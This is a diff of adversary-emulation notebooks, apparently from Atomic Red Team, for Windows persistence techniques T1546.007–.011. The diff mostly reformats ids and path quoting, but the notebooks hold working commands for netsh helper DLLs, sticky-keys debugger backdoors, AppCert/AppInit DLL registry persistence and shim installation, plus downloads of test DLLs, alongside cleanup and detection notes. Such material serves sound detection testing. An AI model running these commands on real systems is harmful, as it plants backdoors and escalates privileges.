"markdown", - "id": "10b59354", + "id": "40c9d000", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nnetsh.exe add helper PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\ntaskkill /im notepad.exe /t /f > NUL 2>&1\n```" + "```command_prompt\nnetsh.exe add helper \"PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\"\ntaskkill /im notepad.exe /t /f > NUL 2>&1\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "bce1fc33", + "id": "866b4ddc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.007 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "01b2bfc6", + "id": "a0ce2efe", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nnetsh.exe delete helper PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\n```" + "source": "#### Cleanup: \n```cmd\nnetsh.exe delete helper \"PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a1f3a51e", + "id": "2c949788", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.007 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "d4b0ca69", + "id": "7f5b282f", "metadata": {}, "source": "## Detection\nIt is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)" } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.008.ipynb b/playbook/tactics/privilege-escalation/T1546.008.ipynb index bbcbdeb6..0fd2a9ae 100644 --- a/playbook/tactics/privilege-escalation/T1546.008.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.008.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d376baf2", + "id": "1be307f7", "metadata": {}, "source": "# T1546.008 - Accessibility Features\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe" }, { "cell_type": "markdown", - "id": "548d589f", + "id": "a0d2fcd4", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f3160c24", + "id": "ced76ec2", "metadata": {}, "source": [ "### Atomic Test #1 - Attaches Command Prompt as a Debugger to a List of Target Processes", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3ec9b09d", + "id": "83941023", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.008 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "494be3e2", + "id": "05214363", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$input_table = \"osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, atbroker.exe\".split(\",\")\nForeach ($item in $input_table)\n{\n $item = $item.trim()\n reg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\$item\" /v Debugger /f 2>&1 | Out-Null\n}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e34f17cc", + "id": "35a57b42", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.008 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "92bab9b4", + "id": "88c10ab0", "metadata": {}, "source": [ "### Atomic Test #2 - Replace binary of sticky keys", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "377a8d19", + "id": "85f5df0e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.008 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "9644a369", + "id": "c2b290f7", "metadata": {}, "source": "#### Cleanup: \n```cmd\ncopy /Y C:\\Windows\\System32\\sethc_backup.exe C:\\Windows\\System32\\sethc.exe\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9eb0a25f", + "id": "2d6172c9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.008 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "764dc5ff", + "id": "5b1de226", "metadata": {}, "source": [ "### Atomic Test #3 - Create Symbolic Link From osk.exe to cmd.exe", @@ -98,28 +98,28 @@ { "cell_type": "code", "execution_count": null, - "id": "46895ac8", + "id": "8be88fe7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.008 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "06749cf6", + "id": "403d00a3", "metadata": {}, "source": "#### Cleanup: \n```cmd\ntakeown /F %windir%\\System32\\osk.exe /A\nicacls %windir%\\System32\\osk.exe /grant Administrators:F /t\ndel %windir%\\System32\\osk.exe\ncopy /Y %windir%\\System32\\osk.exe.bak %windir%\\System32\\osk.exe\nicacls %windir%\\system32\\osk.exe /inheritance:d\nicacls %windir%\\system32\\osk.exe /setowner \"NT SERVICE\\TrustedInstaller\"\nicacls %windir%\\System32\\osk.exe /grant \"NT SERVICE\\TrustedInstaller\":F /t\nicacls %windir%\\system32\\osk.exe /grant:r SYSTEM:RX\nicacls %windir%\\system32\\osk.exe /grant:r Administrators:RX\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0ae0efdf", + "id": "f2830a3d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.008 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "d338ca28", + "id": "040337a2", "metadata": {}, "source": "## Detection\nChanges to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options." } @@ -127,13 +127,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.009.ipynb b/playbook/tactics/privilege-escalation/T1546.009.ipynb index 70ab3506..a8af270a 100644 --- a/playbook/tactics/privilege-escalation/T1546.009.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.009.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "c64f47b6", + "id": "db4247aa", "metadata": {}, "source": "# T1546.009 - AppCert DLLs\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. " }, { "cell_type": "markdown", - "id": "bb3f4a2d", + "id": "1a020dee", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "bc507887", + "id": "7e0eb0e7", "metadata": {}, - "source": "### Atomic Test #1 - Create registry persistence via AppCert DLL\nCreates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. \nOnce the computer restarted, the DLL will be loaded in multiple processes and write an \n'AtomicTest.txt' file in C:\\Users\\Public\\ to validate that the DLL executed succesfully.\n\nReference: https://skanthak.homepage.t-online.de/appcert.html\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{dll_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll\" -OutFile \"PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll\"\n\n```" + "source": "### Atomic Test #1 - Create registry persistence via AppCert DLL\nCreates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. \nOnce the computer restarted, the DLL will be loaded in multiple processes and write an \n'AtomicTest.txt' file in C:\\Users\\Public\\ to validate that the DLL executed succesfully.\n\nReference: https://skanthak.homepage.t-online.de/appcert.html\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{dll_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll\" -OutFile \"PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3be2bd7f", + "id": "d0d4795e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.009 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fcad9554", + "id": "cfa705e6", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll C:\\Users\\Public\\AtomicTest.dll -Force\nreg add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /t REG_EXPAND_SZ /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nif($false){Restart-Computer} \n```" + "```powershell\nCopy-Item \"PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll\" C:\\Users\\Public\\AtomicTest.dll -Force\nreg add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /t REG_EXPAND_SZ /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nif($false){Restart-Computer} \n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "4ec8dc31", + "id": "518935fc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.009 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "87e3296e", + "id": "5e759e71", "metadata": {}, "source": "#### Cleanup: \n```powershell\nreg delete \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /f\nRemove-Item C:\\Users\\Public\\AtomicTest.dll -Force\nRemove-Item C:\\Users\\Public\\AtomicTest.txt -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6e52c581", + "id": "49744455", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.009 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "ec3545be", + "id": "3f8aadf8", "metadata": {}, "source": "## Detection\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.010.ipynb b/playbook/tactics/privilege-escalation/T1546.010.ipynb index 100fb46a..fea6ba44 100644 --- a/playbook/tactics/privilege-escalation/T1546.010.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.010.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "7cdb7ed3", + "id": "1248b264", "metadata": {}, "source": "# T1546.010 - AppInit DLLs\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)" }, { "cell_type": "markdown", - "id": "63834ef9", + "id": "1fec10ab", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2645271f", + "id": "b12154a8", "metadata": {}, - "source": "### Atomic Test #1 - Install AppInit Shim\nAppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, \nyou will see the message \"The operation completed successfully.\" Each time the DLL is loaded, you will see a message box with a message of \"Install AppInit Shim DLL was called!\" appear.\nThis will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verify the \nAppInit Dlls are loading is to start the notepad application. Be sure to run the cleanup commands afterwards so you don't keep getting message boxes showing up.\n\nNote: If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Reg files must exist on disk at specified locations (#{registry_file} and #{registry_cleanup_file})\n\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg) -and (Test-Path PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg)) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010.reg\" -OutFile \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010-cleanup.reg\" -OutFile \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg\"\n\n```\n##### Description: DLL's must exist in the C:\\Tools directory (T1546.010.dll and T1546.010x86.dll)\n\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path c:\\Tools\\T1546.010.dll) -and (Test-Path c:\\Tools\\T1546.010x86.dll)) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory C:\\Tools -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll\" -OutFile C:\\Tools\\T1546.010.dll\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010x86.dll\" -OutFile C:\\Tools\\T1546.010x86.dll\n\n```" + "source": "### Atomic Test #1 - Install AppInit Shim\nAppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, \nyou will see the message \"The operation completed successfully.\" Each time the DLL is loaded, you will see a message box with a message of \"Install AppInit Shim DLL was called!\" appear.\nThis will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verify the \nAppInit Dlls are loading is to start the notepad application. Be sure to run the cleanup commands afterwards so you don't keep getting message boxes showing up.\n\nNote: If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Reg files must exist on disk at specified locations (#{registry_file} and #{registry_cleanup_file})\n\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg\") -and (Test-Path \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg\")) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010.reg\" -OutFile \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010-cleanup.reg\" -OutFile \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg\"\n\n```\n##### Description: DLL's must exist in the C:\\Tools directory (T1546.010.dll and T1546.010x86.dll)\n\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path c:\\Tools\\T1546.010.dll) -and (Test-Path c:\\Tools\\T1546.010x86.dll)) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory C:\\Tools -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll\" -OutFile C:\\Tools\\T1546.010.dll\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010x86.dll\" -OutFile C:\\Tools\\T1546.010x86.dll\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "80379cdc", + "id": "9755d633", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.010 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "3d188ddf", + "id": "c0a6dff0", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nreg.exe import PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg\n```" + "```command_prompt\nreg.exe import \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e2feaa05", + "id": "a85e5fbb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.010 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "1aab133f", + "id": "8561c442", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nreg.exe import PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg >nul 2>&1\n```" + "source": "#### Cleanup: \n```cmd\nreg.exe import \"PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg\" >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e0e70af2", + "id": "fe45ea01", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.010 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "90e3885c", + "id": "126c1e62", "metadata": {}, "source": "## Detection\nMonitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.011.ipynb b/playbook/tactics/privilege-escalation/T1546.011.ipynb index 26ab8651..cca822de 100644 --- a/playbook/tactics/privilege-escalation/T1546.011.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.011.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "948ee27b", + "id": "44e67582", "metadata": {}, "source": "# T1546.011 - Application Shimming\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs." }, { "cell_type": "markdown", - "id": "1087089f", + "id": "44df3aa6", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b8febc17", + "id": "4f42e370", "metadata": {}, - "source": "### Atomic Test #1 - Application Shim Installation\nInstall a shim database. This technique is used for privilege escalation and bypassing user access control.\nUpon execution, \"Installation of AtomicShim complete.\" will be displayed. To verify the shim behavior, run \nthe AtomicTest.exe from the \\\\T1546.011\\\\bin directory. You should see a message box appear\nwith \"Atomic Shim DLL Test!\" as defined in the AtomicTest.dll. To better understand what is happening, review\nthe source code files is the \\\\T1546.011\\\\src directory.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Shim database file must exist on disk at specified location (#{file_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb\" -OutFile \"PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb\"\n\n```\n##### Description: AtomicTest.dll must exist at c:\\Tools\\AtomicTest.dll\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path c:\\Tools\\AtomicTest.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path c:\\Tools\\AtomicTest.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll\" -OutFile c:\\Tools\\AtomicTest.dll\n\n```" + "source": "### Atomic Test #1 - Application Shim Installation\nInstall a shim database. This technique is used for privilege escalation and bypassing user access control.\nUpon execution, \"Installation of AtomicShim complete.\" will be displayed. To verify the shim behavior, run \nthe AtomicTest.exe from the \\\\T1546.011\\\\bin directory. You should see a message box appear\nwith \"Atomic Shim DLL Test!\" as defined in the AtomicTest.dll. To better understand what is happening, review\nthe source code files is the \\\\T1546.011\\\\src directory.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Shim database file must exist on disk at specified location (#{file_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb\" -OutFile \"PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb\"\n\n```\n##### Description: AtomicTest.dll must exist at c:\\Tools\\AtomicTest.dll\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path c:\\Tools\\AtomicTest.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path c:\\Tools\\AtomicTest.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll\" -OutFile c:\\Tools\\AtomicTest.dll\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3b0e5629", + "id": "6f7e2d40", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.011 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1f5daf7c", + "id": "c92c6375", "metadata": {}, "source": [ "#### Attack Commands: Run with 